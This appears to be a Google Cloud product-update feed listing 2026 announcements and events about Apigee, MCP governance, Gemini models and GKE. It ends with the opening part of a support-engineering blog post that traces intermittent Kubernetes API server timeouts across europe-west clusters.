Learn how to deploy an Apigee X proxy to format Apigee API Hub data into the Model Context Protocol (MCP) Registry format. This tutorial by Tyler Ayers guides developers through cloning the sample repository, deploying using the Apigee Feature Templater (aft), and testing the endpoint to make API data easily discoverable by coding agents.

Read the full community tutorial to get started.
Simplify AI Infrastructure: Getting Started with Apigee AI Gateway
Managing a complex AI landscape with multiple backend environments can present significant operational and governance challenges. A new tutorial walks you through how to build a unified API proxy using Apigee AI Gateway. By establishing a single, secure entry point for all model traffic, teams gain access to real-time analytics, comprehensive tracing, and financial operations auditing—completely seamlessly, and with absolutely no modifications required to client environments or user configurations.

Read the step-by-step setup guide
Your AI agents are ready. Is your data?
The biggest bottleneck to scaling AI isn't the models—it's giving them access to business context. As enterprises move to proactive systems of action, legacy infrastructure often buckles under the nonlinear speed of AI agents. Google Cloud’s new Agentic Data Cloud, built on AI-native infrastructure, solves this by unifying data, AI models, and operational databases. Discover how a borderless Lakehouse and active Knowledge Catalog can empower your AI agents with trusted, real-time context without unnecessary engineering overhead. Read more.
Secure and govern your AI at Apigee AI Horizon in London
Moving AI from basic prompts to complex agentic workflows requires trust and control. Join us on Tuesday, 1st September 2026 at Google London for our 5th edition of Apigee AI Horizon. Discover how Google Cloud product leaders and architects are using Apigee and Model Armor to secure LLM APIs, implement policy controls, and manage token consumption. Do not miss this one—register soon!

Secure your spot for AI Horizon London

Jul 13 - Jul 17

Resource-Based CUD Sharing is Now Enabled by Default
Starting June 16, 2026, the default setting for Google Cloud Resource-based Committed Use Discount (CUD) sharing will change from disabled to enabled for new billing accounts and eligible existing accounts without active CUDs. This update automatically maximizes your savings by pooling underutilized discounts across your resources.

You retain full control and can adjust your CUD sharing preferences at any time by changing your CUD scope configuration. For instructions, see Enable CUD sharing or Disable CUD sharing.
Webinar for India: Google Cloud for EdTech: Optimizing Traffic and Token Governance at Scale
API traffic surges and AI model integration are reshaping the EdTech landscape. Join Satyam Maloo for the webinar Google Cloud for EdTech: Optimizing Traffic and Token Governance at Scale on July 23, 2026. Learn to implement advanced rate limiting, gain granular token visibility, and leverage real-time analytics to govern your platform effectively. Whether you’re scaling for peak academic seasons or integrating complex AI workflows, this session provides the infrastructure blueprint you need.

Register Now
Scaling AI Agents: Treat prompts like software artifacts
As AI agents move into production, monolithic system prompts often result in configuration drift, merge conflicts, and silent runtime failures. The solution is adopting a Prompts-as-Code architecture. By breaking prompts into modular skill files and using a build-time transpiler, engineering teams can introduce dependency resolution, static validation, and CI/CD rigor to their agent's control plane. Stop manually editing massive text files and start building deterministic, reliable agent infrastructure.

Read more here.

Jul 6 - Jul 10

Webinar: Introducing Google Cloud NGFW Enterprise advanced malware protection - powered by Palo Alto Networks
Discover the new Cloud NGFW advanced malware sandbox, arriving in preview later this year. Powered by Palo Alto Networks Advanced Wildfire, it leverages data from 70,000+ customers to help defeat advanced malware. Join us on July 16 at 11 AM EDT to learn how to build a resilient, zero-trust cloud infrastructure that protects your apps and data, wherever they reside.

Register for the webinar now
Safely run AI-generated code in Cloud Run sandboxes
Cloud Run sandboxes, now in public preview, are lightweight, isolated execution boundaries that you can spawn near-instantly within your existing Cloud Run service instances.

Whether you need to let an LLM run a dynamically generated Python script to calculate business margins or spin up a headless browser to perform web research, Cloud Run sandboxes give you a secure, isolated sandbox to run these tasks without leaving your serverless environment.

Read the blog to learn more and get started today.
Australia API Horizon: Scaling Enterprise Governed AI Agents
The transition from AI chatbots to autonomous agents is the most critical integration point for your business. Join Google Cloud at our upcoming events to explore exclusive deep-dive sessions on architecting for the agentic era.

Discover how to use Apigee as an intelligent AI Gateway to govern, secure, and scale high-performance architectures. You will learn to seamlessly build AI tools from your existing APIs and maintain control over your entire ecosystem.

Join us in your preferred city:
Build highly available, multi-region services on Cloud Run
Maintaining uptime for business-critical applications just got a lot easier on Cloud Run. Service health, now Generally Available, automates cross-region failover by leveraging readiness probes for instance-level health checks with a simple, two-click setup. You can configure service health with global external Application Load Balancers for public-facing applications or cross-region internal Application Load Balancers for private networking traffic.

Learn how to configure service health for Cloud Run.
Report: 83% of organizations need infrastructure upgrades for agentic AI
The shift from conversational bots to autonomous agents is breaking legacy systems. Our new State of AI Infrastructure report details how engineering leaders are adapting to these massive new workloads. To eliminate inference bottlenecks, control hidden scaling costs, and manage agent sprawl, the industry is rapidly moving toward fluid compute, centralized governance, and unified, co-designed architectures.

Explore our key infrastructure insights
Stop tinkering, start scaling: the industrialized AI Playbook
Did you know that only 5% of custom AI investments actually return measurable business value? The problem isn’t the technology—it’s how organizations are wired to run it.

In this compelling read, Google Cloud Consulting breaks down the operational blueprint that bridges the stark gap between "cool tech experiments" and real, P&L-impacting enterprise ROI.

Read the full article on Medium
AI Agent Clinic: Slashing App Latency by 80%
Prototyping an AI agent is easy, but scaling for live traffic presents unique challenges. In the latest AI Agent Clinic, our technical experts partner with a developer to optimize PlaybackIQ, a live football analysis agent. This session demonstrates how to use OpenTelemetry to trace bottlenecks in the Gemini Enterprise Agent Platform and deploy to Cloud Run for high-concurrency scaling, achieving an 80% reduction in response time. Learn production-grade debugging strategies to optimize your own LLM applications.

Watch the 60-minute teardown

Jun 29 - Jul 3

Claude Sonnet 5, Anthropic’s latest model, is now available on Agent Platform.
This addition serves as a drop-in replacement for Sonnet 4.6, giving organizations expanded choice for task completion across enterprise workflows. It features enhanced reasoning, cleaner code generation, and computer use capabilities for desktop and browser workflows.

By continuing to rapidly bring frontier models to our platform, Google Cloud offers an uncompromised choice of the industry's best technology to build, test, and scale enterprise-grade AI.

Get started today.
Automate your AI governance with Apigee and YAML
Manual API gateway configurations can quickly slow down your AI engineering velocity. Join the Apigee community on Thursday, July 16, to discover an automated, declarative blueprint for model garden management. Learn how a simple, repeatable YAML pattern lets your AI practitioners instantly spin up secure, policy-backed enterprise configurations without friction. Bring your questions and connect during our live Q&A session.

Register for the July 16 Community TechTalk
Build next-generation AI portals for autonomous agents
Standard developer portals were designed for human developers to subscribe to static APIs. Today, autonomous agents, LLM toolkits, and dynamic runtimes demand a central nervous system for governance. Join our technical deep dive on Thursday, July 23, to explore Apigee's new AI Portals solution. You will see exactly how to deploy full-service, MCP powered hubs to safely manage enterprise self-service for models, tools, and agents.

Register for the July 23 Community TechTalk
Protect your infrastructure from advanced cyberattacks at the API layer (Presented in Portuguese)
In an era of increasingly sophisticated threats, relying solely on traditional firewalls leaves critical data gaps. Join our technical community TechTalk on Thursday, July 30—conducted in Portuguese—to learn how to proactively mitigate risks directly at the gateway layer. This session demonstrates how to configure and govern essential Apigee security policies to build a robust line of defense, ensuring maximum availability and complete integrity for your enterprise microservices.

Register for the July 30 Portuguese Community TechTalk

Jun 22 - Jun 26

Accelerate TPU model loading while saving RAM on GKE.
Large model cold starts often stall scaling and leave high-value TPUs idle. The open-source Run:ai Model Streamer now natively supports TPUs with Google Cloud Storage in TPU vLLM 0.18.0. This integration accelerates inference pipelines on GKE by streaming tensors directly into CPU memory, bypassing local disk bottlenecks and the "double-buffering" trap. In benchmarks, loading a 480B parameter model was over 2x faster while cutting peak host memory usage by half. Read the full guide and get started today.
Stop Training Blind: Scaling AI with the New OpenTelemetry-Based TPU AI Telemetry Collector Agent
Google Cloud’s new AI Telemetry Collector agent standardizes TPU monitoring using OpenTelemetry. It optimizes enterprise ML workloads by identifying silent failures and providing zero-cost operational metrics without draining host CPU cycles. The agent seamlessly routes telemetry to Google Cloud Monitoring or Prometheus and custom Grafana setups. Pre-installed on Google-optimized Ubuntu images or available via Docker, it tracks memory, network latency, and core utilization to maximize multi-node training efficiency.

You can read more of this capability by clicking this link.

Jun 15 - Jun 19

Join us for a deep dive into agentic AI control with AppyThings
Your integrations aren’t failing—they are evolving. When users interact with AI agents, they no longer arrive directly at your site, resulting in experiences stripped of your context, expertise, and intended experience. Join us on Thursday, June 25, for a community tech talk in partnership with AppyThings to learn how to solve this new gateway challenge. We will explore how MTN laid an integration foundation with the Model Context Protocol (MCP) to deliver accurate, consistent experiences. Our technical experts will demonstrate how to leverage Apigee as a centralized tools management solution to govern agent access.

Register for the session
Optimize Spot VM Deployments with Capacity Advisor for Spot, Now in Public Preview
Google Compute Engine has launched Capacity Advisor for Spot to Public Preview, now open to all customers. This tool turns Spot capacity discovery into a data-driven process by providing real-time deployment recommendations to maximize obtainability and minimize preemption risks. Query the Capacity Advisor API for obtainability and minimum estimated uptimes, or use the new Console UI featuring a global availability map, spot price lookups, and historical preemption rate trends to visually find the most cost-efficient compute capacity.

Get started today to start optimizing your Spot VM deployments!
Build a multi-tenant agentic AI system
When scaling generative AI across different business units, your teams need specialized AI agents with unique operational rules and tools. Our new reference architecture helps you build a centralized multi-tenant platform to prevent fragmented silos, eliminate data exposure risks, and maintain unified compliance. Read the guide to design and deploy a multi-tenant agentic AI system in Google Cloud.
How to Configure Gemini Enterprise to Connect to a Custom MCP Server
The Gemini Enterprise MCP Connector was a big announcement at Google Cloud Next because it introduces the ability to connect Gemini Enterprise to MCP servers. This blog post provides a step-by-step guide on how to configure your first Custom MCP Server connector using the Google Maps Ground Lite MCP server as an example. Once you understand this flow, you can configure multiple MCP servers with Gemini Enterprise to bring all the context you need.

Jun 8 - Jun 12

Simplify Multi-Cloud Planning with Cloud Location Finder, now Generally Available
Cloud Location Finder provides up-to-date data on public regions, zones, and Google Distributed Cloud Connected locations across Google Cloud, AWS, Azure, and OCI. You can now programmatically discover locations based on provider, proximity, territory, and carbon footprint to optimize your global infrastructure strategy for performance, compliance, and sustainability.

Get started for free today

Jun 1 - Jun 5

Modeling the physical world with BigQuery Graph
Managing complex supply chains requires more than just spreadsheets; it requires a digital replica of the physical world. In this post, Guru Rangavittal and Candice Chen explore how BigQuery Graph enables organizations to build a digital twin by turning physical assets into an interconnected map of nodes and edges. By moving beyond traditional relational databases, businesses gain real-time clarity into operations—from executing surgical ingredient recalls to analyzing weather-driven logistics risks. Discover how BigQuery Graph transforms reactive firefighting into proactive, precision modeling, allowing you to see critical connections in seconds and future-proof your supply chain.
Apigee for AI: Govern LLMs and MCP Servers (Presented in Spanish)
Learn how to securely transition your AI initiatives from experimental prototypes to enterprise-ready deployments. Join Luis Cuellar on June 18 for a technical deep dive (presented in Spanish) exploring Apigee’s latest AI gateway capabilities. Discover how to centralize governance over Model Context Protocol (MCP) servers, protect Large Language Models (LLMs) with robust API gateway security policies, and manage token-based quotas.

Register for the June 18 Spanish Community TechTalk

May 25 - May 29

Anthropic’s Claude Opus 4.8 is now available on Gemini Enterprise Agent Platform. As we continue to expand our platform's model offerings, this addition gives organizations more options for handling complex, multi-stage enterprise workflows. Claude Opus 4.8 brings strong capabilities in agentic coding, allowing developers to manage extensive refactors and tracking dependencies over extended sessions.
API Horizon Munich July 6, 2026: Orchestrating the Next Era of AI and APIs
Master the orchestration of next-gen AI and digital ecosystems. Join Google Cloud experts and DACH tech leaders on July 6 for an exclusive look at the Apigee roadmap, Agent Management, and Model Context Protocol (MCP). Gain real-world insights and connect with the regional integration community.

Register now
Securing AI Agents: The Extended Agent Gateway Pattern
Learn how to prevent autonomous AI agents from invoking unauthorized APIs. Join Apigee Specialist Joel Gauci on June 4 for a technical deep dive into the Extended Agent Gateway pattern. This session covers enforcing Fine-Grained Authorization (FGA), implementing secure token exchange, and establishing Model Context Protocol (MCP) governance at the API gateway layer to protect enterprise backend services.

Register for the June 4 Community TechTalk
API-to-Agent Security: Exposing REST APIs to Gemini Enterprise via MCP
Connect Gemini Enterprise agents to core data without creating security hazards. Join Google Cloud Specialist Nigel Walters on June 11 to learn how to instantly transform legacy REST APIs into secure Model Context Protocol (MCP) servers. We’ll cover how to safely register tools with Gemini while enforcing gateway-level guardrails like rate limiting and access control policies.

Register for the June 11 Community TechTalk

May 18 - May 22

Chinese Webinar | June 4: AI Command and Control
As AI agents move from experimental pilots to core enterprise functions, governance has become a critical next step. Join Google Cloud on June 4th at 10:00 AM (Beijing Time) to learn how to build a secure AI management layer architecture. We'll explore how to develop governed MCP (Model Context Protocol) endpoints, manage tool access to enterprise data, and leverage robust audit logs to operationalize AI. This session also includes a practical demonstration of these governance frameworks on Google Cloud.

Register here
GCP Announces New Features to Benchmark and Optimize LLMs for On-Device Use Cases
Deploying fine-tuned LLMs from GCP to edge devices like smartphones is complex due to fragmented hardware. Google AI Edge Portal bridges this gap, giving GCP developers the ability to test AI performance on 120+ Android devices, representing the full diversity of high, medium, and low tier smartphones on the market today. This week at I/O, we announced brand new capabilities to benchmark and debug LLM performance across these devices. Sign-up to utilize these new features in private preview today.

May 11 - May 15

Build Your AI & MCP Control Tower for Universal Governance
Master the future of agentic security with Apigee. Join our Community TechTalk on May 21 to discover how Apigee serves as a central "Control Tower" for the Model Context Protocol (MCP). We will explore how new JSON-RPC tool authorization enables fine-grained access policies across your organization, ensuring secure and scalable AI deployments. Whether managing internal tools or external users, learn to govern your agentic ecosystem with absolute precision. This session is designed for global coverage across EMEA and AMER regions.

Register for the May 21 Community TechTalk

Apr 27 - May 1

Master Your Launch: The Apigee Production Go-Live Checklist
Ensure a secure launch with the Apigee production guide. Join Nicola Cardace on May 28 to explore security guardrails, including IAM roles, mTLS configurations, and encrypted KVM migrations. Scheduled at 11 AM EDT / 5 PM CEST to support EMEA and AMER teams, this TechTalk provides the technical roadmap you need to flip the switch with absolute confidence.

Register for the May 28 Community TechTalk
Transforming APIs into Governed Agentic Tools on the Google Cloud Agentic Platform
Turn your APIs into secure, governed agentic tools on the Google Cloud Agentic Platform. Join Specialist Christophe Lalevée on May 7 for a technical deep dive into AI productization. Scheduled at 5 PM CEST / 11 AM EDT to maximize coverage for developers across EMEA and AMER, this session explores the integration and governance frameworks required to scale enterprise-ready AI with confidence.

Register for the May 7 Community TechTalk
Fractional G4 VMs are Generaly Available, providing a highly efficient and cost-effective entry point for AI and graphics workloads. These new configurations, using NVIDIA virtual GPU (vGPU) technology, allow you to leverage the power of the NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs in flexible, smaller increments, so you can right-size your infrastructure to match the specific demands of your applications. By providing more granular access to advanced hardware, fractional G4 VMs let you optimize resource allocation and reduce overhead without sacrificing performance. You can now select from additional GPU slice sizes for your specific needs:
- 1/2 GPU: Ideal for more intensive tasks such as LLM inference, robotics sensor simulation, and high-fidelity 3D rendering.
- 1/4 GPU: Optimized for mainstream workloads, including mid-range creative design, video transcoding, and real-time data visualization.
- 1/8 GPU: Great for lightweight applications such as remote desktops, productivity tools, and entry-level streaming services.
Transitioning AI from a sandbox prototype to an enterprise-grade system is a major hurdle. A monolithic script won't suffice for widespread deployment. To achieve true scale and reliability with Gemini, organizations must adopt service-oriented micro-agent architectures, establish Zero-Trust security, and implement rigorous EvalOps. Master the "Agentic Maturity Ladder" to ensure your AI & Agentic solutions are robust, secure, and ready for the real world.

Watch the deep dive and read the developer blog to learn more.
ML Development in VS Code with Google Cloud Power: Workbench Extension Now Available
Data scientists and developers can now combine the local productivity of VS Code with the scalable infrastructure of Google Cloud. The new Google Cloud Workbench Notebooks extension allows you to connect to and run notebooks on managed cloud environments directly within your local IDE. This integration streamlines the ML lifecycle by eliminating context switching and providing high-performance compute for complex workloads in a familiar interface. As part of our commitment to the developer ecosystem, the extension is fully open-sourced to support community-driven innovation.
- Install from Marketplace: GoogleCloudTools.workbench-notebooks
- Contribute on GitHub: colab-enterprise-vscode

Apr 20 - Apr 24

Announcing the 2026 Google Cloud Partners of the Year
Google Cloud is honored to celebrate the winners of the 2026 Partner of the Year awards! These awards recognize an exceptional group of partners across AI, Security, Infrastructure, and more, who have demonstrated a commitment to customer success. From global system integrators to specialized startups, these winners are leveraging the power of Google Cloud to solve complex challenges and drive digital transformation worldwide. Join us in congratulating these organizations for their innovation, collaboration, and impactful results over the past year.

See the 2026 Partner Award winners

Apr 13 - Apr 17

We're excited to announce the Public Preview of Datastream’s metadata integration with Knowledge Catalog. This is the first step in our vision to provide a centralized, "single pane of glass" for all Datastream assets. The enhancement automatically synchronizes Streams, Connection Profiles, and Private Connections, eliminating data silos. It enhances discoverability, allowing you to search for Datastream assets using the same interface as BigQuery tables. Centralized governance is also provided, making your real-time data estate more transparent and easier to manage.
Upgrading Apigee OPDK to 4.53 with OS Modernization
Modernize your infrastructure using Google’s official, sequential upgrade path. Our Technical expert, Rakesh Talanki outlines how to upgrade Apigee OPDK to v4.53 while migrating to a supported OS (RHEL 8.x/9.x). This guide covers the "build-out" methodology, including multi-data center syncing, to ensure a stable, zero-downtime transition

Read the guide
Cloud Run Worker Pools and CREMA: Powering Serverless AI at Scale
Google Cloud has announced the General Availability of Cloud Run worker pools, a new resource type designed specifically for pull-based, non-HTTP workloads. Unlike traditional Cloud Run services that scale based on request traffic, worker pools provide an "always-on" environment for background tasks like processing message queues or running large-scale AI inference. To support this, Google Cloud also open-sourced the Cloud Run External Metrics Autoscaler (CREMA). Built on KEDA, CREMA enables queue-aware autoscaling for worker pools, allowing them to dynamically scale based on external signals like Pub/Sub backlog or Kafka lag.
Apigee Model Context Protocol (MCP) now Generally Available
Expose enterprise APIs as MCP tools for agentic AI applications with the General Availability of MCP in Apigee. This update allows developers to transform APIs into AI-ready tools using OpenAPI Specifications, removing the need for local MCP servers or additional infrastructure. With managed endpoints and semantic search in API hub, you can now provide AI agents with secure, governed access to enterprise data at scale.

Explore the MCP overview

Apr 6 - Apr 10

Community TechTalk: Powering Retail Agents with ADK, UCP & Apigee X
Move beyond basic chatbots to secure, transactional AI experiences. Join our Community TechTalk on April 16 to learn how Apigee X and Gemini build a "Trust Layer" for AI shopping assistants using UCP standards. We’ll demonstrate how to block prompt injections with Model Armor and implement cost governance via token limits to secure the path from discovery to purchase.

Register for the TechTalk
Implement multimodal capabilities in your AI agents
Explore three new reference architectures for building sophisticated multi-agent AI systems that can process and analyze multimodal data. To analyze disparate multimodal data and produce a high-confidence classification, see Classify multimodal data. To create a fluid conversational AI that processes audio and video streams in real time, see Enable live bidirectional multimodal streaming. To consolidate fragmented multimodal data into a searchable knowledge graph, see Multimodal GraphRAG resource orchestration.
Automate SecOps workflows with an agentic AI system
To accelerate incident response and reduce manual toil for your security team, you need a system that can automate remediation playbooks. Our new reference architecture helps you build an AI agent that orchestrates complex triage and investigation workflows across disparate security tools, such as SIEM, CSPM, and EDR, from a single interface. See the full guide to orchestrate security operations workflows.

Mar 30 - Apr 3

ASEAN Webinar | April 30: Mastering Agentic Governance at Scale with GCP
As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud experts Shilpi Puri & Wely Lau for a webinar on April 30th at 11:00 AM SGT to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.

RSVP here.

Mar 23 - Mar 27

Turn your API sprawl into an agent-ready catalog
As organizations scale, APIs often become scattered across multiple gateways, creating "blind spots" that hinder AI adoption. To solve this, we’ve introduced two new capabilities for Apigee API hub: a new integration with API Gateway to automatically centralize API metadata into a single control plane, and a specification boost add-on (now in public preview). This add-on uses AI to enhance your API documentation with the precise examples and error codes that AI agents need to function reliably.

Read the full blog post to get started.
Webinar | April 16: AI Command & Control
As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud expert Satyam Maloo for a webinar on April 16th at 11:00 AM IST to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.

RSVP here.
Modernizing and Decoupling Event Ingestion with Apigee
In modern cloud-native architectures, decoupling producers from consumers is critical for building resilient systems. While Google Cloud Pub/Sub provides a scalable backbone, exposing it directly to external clients can introduce security and management overhead. This new guide explores how to leverage Apigee as an intelligent HTTP ingestion point. Learn how to handle security, mediation, and traffic control before messages reach your internal bus using the PublishMessage policy or Pub/Sub API.

Read the full guide.

Mar 16 - Mar 20

Gemini-powered Assistant in BigQuery Studio Gets Context-Aware Upgrades
The Gemini-powered assistant in BigQuery Studio has been transformed into a fully context-aware analytics partner, supporting your entire data lifecycle. The new capabilities include intelligent resource discovery, which uses Dataplex Universal Catalog search to find resources across projects and deep dive into metadata using natural language. You can now automate tasks, such as scheduling production-grade queries directly through the chat interface, and instantly troubleshoot long-running or failed jobs with root cause analysis and cost control auditing.

Explore the full range of what the assistant can do.

Mar 9 - Mar 13

Want to use Gemini to develop code and don't know where to start?
This article includes a couple of examples of developing code with Gemini prompts; it identified changes that were needed to be made to get the code working. The article also refers to other examples that are available on github.

Mar 2 - Mar 6

Introducing Gemini 3.1 Flash-Lite, our fastest and most cost-efficient Gemini 3 series model. Built for high-volume developer workloads at scale, 3.1 Flash-Lite delivers high quality for its price and model tier. Gemini 3.1 Flash-Lite can tackle tasks at scale, like high-volume translation and content moderation, where cost is a priority. And it can also handle more complex workloads where more in-depth reasoning is needed, like generating user interfaces and dashboards, creating simulations or following instructions.

Starting today, 3.1 Flash-Lite is rolling out in preview to enterprises via Vertex AI and developers via the Gemini API in Google AI Studio.
TechTalk: Implementing Device Authorization Grant (RFC 8628) for Apigee
Learn how to authorize "headless" devices like Smart TVs or AI agents that lack keyboards and browsers. Join our Community TechTalk on March 19 (5PM CET / 12PM EDT) to go under the hood of Apigee X/Hybrid. We’ll cover the real-world mechanics of state management, polling, and human-in-the-loop security patterns for devices and autonomous agents.

Register for the TechTalk

Feb 23 - Feb 27

Pro-level image generation gets faster and more accessible with Nano Banana 2
Nano Banana 2 is our state-of-the-art image generation and editing model. It delivers Pro-level image generation and editing at the speed you expect from Flash — making the quality, reasoning, and world knowledge you loved about Nano Banana Pro more accessible. Learn more about the model here.

The Intelligent Path to Compliance: Transforming Regulatory QC with Google Cloud
Reducing "Refuse to File" (RTF) risks and submission cycle times is critical for life sciences leaders. Google Cloud’s Regulatory Submission Semantic QC Auditor leverages Gemini and RAG architecture to transform Quality Control from a manual burden into an active, intelligent workflow.

By automating semantic cross-referencing, narrative coherence checks, and dynamic guidance-based auditing, this solution ensures rigorous accuracy and auditability. Operating within a secure GxP-ready environment, it empowers teams to detect subtle inconsistencies and generate remediation plans without sacrificing data privacy.

Learn more.
Stop typing, start interacting! The Gemini Live Agent Challenge is here. Build immersive agents that can help you see, hear, and speak using Gemini and Google Cloud. Compete for your share of $80,000+ in prizes and a trip to Google Cloud Next '26!

Submissions are open from February 16, 2026 to March 16, 2026. Learn more and register at geminiliveagentchallenge.devpost.com

Feb 9 - Feb 13

Introducing Gemini 3.1 Pro on Google Cloud.
3.1 Pro is a noticeably smarter, more capable baseline for complex problem-solving. We’re shipping 3.1 Pro at scale, building upon our goal to help you transform your business for the agentic future. Learn more about the model’s capabilities here. Gemini 3.1 Pro is available starting today in preview in Vertex AI and Gemini Enterprise. Developers can access the model in preview via the Gemini API in Google AI Studio, Android Studio, Google Antigravity, and Gemini CLI.
Automate Storage Compatibility with GKE Dynamic Default Storage Classes
Managing storage across mixed-generation VM clusters in GKE just got easier. With the new Dynamic Default Storage Class, Google Kubernetes Engine automatically selects between Persistent Disk (PD) and Hyperdisk based on a node's specific hardware compatibility. This abstraction eliminates the need for complex scheduling rules and manual pairing, ensuring your volumes "just work" regardless of the underlying infrastructure. By defining both variants in a single class, you reduce operational overhead while maintaining peak performance and cost-efficiency across your entire cluster.

Explore automated disk type selection
Community TechTalk: AI-Powered Apigee Development with strofa.io
Join the Apigee community on February 26 for a deep dive into strofa.io. Guest speaker Denis Kalitviansky will demonstrate how this new AI-powered tool automates and orchestrates Apigee development, from local emulators to large-scale hybrid environments. Discover how to scale your API management and streamline team collaboration using the latest in AI-driven automation.

Register now to reserve your spot.

Jan 26 - Jan 30

Simplify API Governance with Native OpenAPI v3 Support
Eliminate integration debt and accelerate deployment velocity with the General Availability of OpenAPI v3 (OASv3) support for API Gateway and Cloud Endpoints. You no longer need to downgrade modern specifications to OASv2. Instead, you can now define API contracts and enforce critical policies—including telemetry, quotas, and security—using native Google-specific extensions directly within your OASv3 files. This update ensures your APIs are secure by design while remaining fully compatible with the modern developer ecosystem and Google Cloud’s AI services.

Get started with OpenAPI v3 on API Gateway and Cloud Endpoints.

Accelerate API Testing with the New Open Source API Tester
Start validating your APIs with API Tester, a simple, YAML-based Test Driven Development (TDD) framework. Designed for the Apigee community, this tool allows you to write human-readable tests, run them instantly via a web client or CLI, and perform deep unit testing on Apigee proxies. With native support for JSONPath assertions and Apigee shared flows, you can verify everything from payload data to internal variables like proxy.basepath without leaving your terminal.

Explore the API Tester guide and start testing your proxies today.
Secure Sensitive Data with Kubernetes Secrets in Apigee hybrid
Enhance security in Apigee hybrid by accessing Kubernetes Secrets directly within your API proxies. This hybrid-exclusive feature keeps sensitive credentials within your cluster boundary and prevents replication to the management plane. It supports strict separation of duties: operators manage secrets via kubectl, while developers reference them as secure flow variables—ideal for high-compliance and GitOps workflows.

Implement Kubernetes Secrets in your hybrid proxies.
See the Console in a Whole New Light: Dark Mode is Now Generally Available in Google Cloud
Elevate your cloud management workflow with Dark Mode, now generally available in the Google Cloud console. We have delivered a modern, cohesive, and accessible experience reimagined for maximum comfort and productivity—especially during extended working hours and low-light environments. Dark Mode can be enabled automatically based on your operating system's preference, or manually through the Settings -> Appearance menu.

Switch to Dark Mode today to enjoy a modern, comfortable, and productive environment!
Apigee X Networking: PSC or VPC Peering?
Deciding how to connect Apigee X? Watch this video to compare Private Service Connect and VPC Peering. We break down northbound and southbound routing, IP consumption, and how to reach targets on-prem or in the cloud. Learn to simplify your architecture and avoid common networking "gotchas" for a smoother deployment.

Watch the video.

Jan 19 - Jan 23

Bridge the Gap: Excel-to-API Conversion in Apigee Portals
Give your customers more ways to connect! This new article by Tyler Ayers explores how to extend the Apigee Integrated Portal to support direct Excel file uploads. By leveraging SheetJS and custom portal scripts, you can enable users to upload spreadsheets, preview data, and submit it directly to your APIs, all without writing a single line of integration code themselves. It’s a powerful way to simplify onboarding for those who aren't yet API-ready.

Learn how to build it.
Elevate your applications with Firestore’s new advanced query engine
We have fundamentally reimagined Firestore with pipeline operations for Enterprise edition. Experience a powerful new engine featuring over a hundred new query features, index-less queries, new index types, and observability tooling to improve query performance. Seamlessly migrate using built-in tools and leverage Firestore’s existing differentiated serverless foundation, virtually unlimited scale, and industry-leading SLA. Join a community of 600K developers to craft expressive applications that maximize the benefits of rich queryability, real-time listen queries, robust offline caching, and cutting-edge AI-assistive coding integrations.

Learn more about Firestore pipeline operations.

When the Kubernetes API went silent: A three-layer networking mystery

Fri, 30 Oct 2026 16:00:00 +0000

Every support engineer has a case that stays with them. The one that comes up at team lunches. The one where, even after it's resolved, you find yourself staring at a packet capture at midnight just to make sure you really understand what happened. This is that case.

It started in January 2026 with a support ticket that read deceptively simply: pods are intermittently failing to reach the Kubernetes API server. The error was a familiar-looking timeout. The customer had already ruled out their own operators. What none of us knew yet was that we were looking at three separate bugs — in three different layers of the stack — all conspiring to produce the same symptom at the same time.

By the time it was over, around 800 developers had been blocked from deploying to production for weeks on end, and GKE clusters across europe-west had ground to a halt. In a race to fix the problem, we involved engineers across Google Kubernetes Engine (GKE), Private Service Connect, networking, hostnet, kernel, and the Linux upstream community, who together tracked down not one but three distinct root causes. And the final fix landed not as a config change or a feature flag, but as a patch to the Linux kernel itself.

This is the story of how we got there.

Part one: The alarm bell that wouldn't stop

The customer ran a large multi-cluster GKE environment in Google Cloud's europe-west region. Their clusters used Private Service Connect — Google Cloud's mechanism for exposing the GKE control plane privately — and had a rich ecosystem of system-level workloads: Twistlock security scanners, External Secrets Operator for secrets management, Cilium for network policy, as well as several internal Kubernetes operators.

The first errors appeared in one of its user acceptance testing (UAT) clusters in europe-west, and a few days later in a second cluster in the same region. They looked like this:

Application logs — pods across multiple namespaces

code_block: <ListValue: [StructValue([('code', "TimeoutError: Connect call failed ('1.2.3.4', 443)\r\ndial tcp 1.2.3.4:443: i/o timeout\r\n\r\n# 1.2.3.4 is the cluster's internal VIP for the kube-apiserver,\r\n# routed through Private Service Connect"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fba9d25a150>)])]>

Initially the errors were intermittent — spikes in the logs, not a hard outage. The customer suspected their own code. Their team had recently deployed a custom operator built with the kopf framework, and it was the first thing they looked at. But the logs showed the errors had started eight days before the operator was ever deployed. When they shut it down completely, the timeouts kept coming.

The issue persists even after completely scaling down the External Secrets Operator. The errors are appearing from customer workloads, and system-level pods we haven't touched.

The growing list of suspects

When a case like this arrives, the first instinct is to ask: what changed? The customer's timeline gave us several candidates, and we worked through them methodically.

The custom operator (kopf): Ruled out immediately — errors predated deployment by a week and continued after shutdown.
External Secrets Operator: Removed entirely on customer request. Timeouts continued in customer workloads that relied on Kubernetes control plane (KCP) connectivity, and cluster-internal system pods.
Security agents: Uninstalled. Same result. We were now watching system-level Kubernetes components fail to reach their own control plane.
conntrack table exhaustion: One theory was that too many half-open connections were filling the OS connection tracking table on the control plane nodes. We checked. The conntrack table was at roughly 50% capacity — of a default maximum of 1.3M entries. Not even close to exhaustion.
Control plane overload: We scaled up the KCP VM size. kube-apiserver latencies looked healthy. No improvement on the timeout side.

What made this case genuinely strange was the scope. We confirmed the timeouts were happening across five different clusters, affecting DaemonSets, Deployments, and system pods alike. External clients — developer laptops, GitHub Actions runners — were also hitting the same wall. This was not a broken workload. This was something wrong with the path between everything and the API server.

The timeline so far

Day 1: First I/O timeout errors appear (One of the UAT clusters in europe-west3. Intermittent, easy to dismiss.)
Day 10: Errors become persistent (Frequency increases significantly. The issue is no longer dismissible.)
Day 15: Case escalated — P0 bug filed (Multiple clusters confirmed affected. ~800 developers blocked. Production releases are frozen. Formal escalation begins.)
Day 20: All obvious suspects ruled out (Custom operator, security agents, conntrack exhaustion, control plane resizing — all cleared.)
